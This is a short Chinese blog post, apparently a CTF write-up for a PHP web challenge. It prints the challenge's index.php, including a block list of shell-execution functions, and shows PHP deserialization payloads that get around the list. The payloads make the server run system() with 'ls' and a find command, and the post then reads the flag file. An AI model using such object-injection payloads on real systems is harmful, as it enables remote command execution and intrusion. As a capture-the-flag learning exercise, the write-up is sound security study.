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最新推荐文章于 2023-12-04 11:25:57 发布

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最新推荐文章于 2023-12-04 11:25:57 发布

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分类专栏： CTF 文章标签： php web安全

本文链接：https://blog.youkuaiyun.com/qq_54786552/article/details/123417587

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请添加图片描述先抓个包瞅瞅看：
左边最后一行里func=date&p=Y-m-d+h%3A%3As+a
传递两个参数func和p
下面尝试读取一下index.php内容
在这里插入图片描述

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {//过滤一些信息
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>

This is a 反序列化题…
see see 这个目录下的文件们
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
$func中过滤的system(‘ls’)这个函数可以用unserialize
这里补充一下unserialize相关
在这里插入图片描述找了啥也没有…直接找找flag文件…

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

在这里插入图片描述找到在/tmp/flagoefiu4r93这个目录下直接读取就出来flag了

func=readfile&p=/tmp/flagoefiu4r93

在这里插入图片描述额…🥲这个题仅限于做出来了新的方法还没有尝试，等我学学再来更博。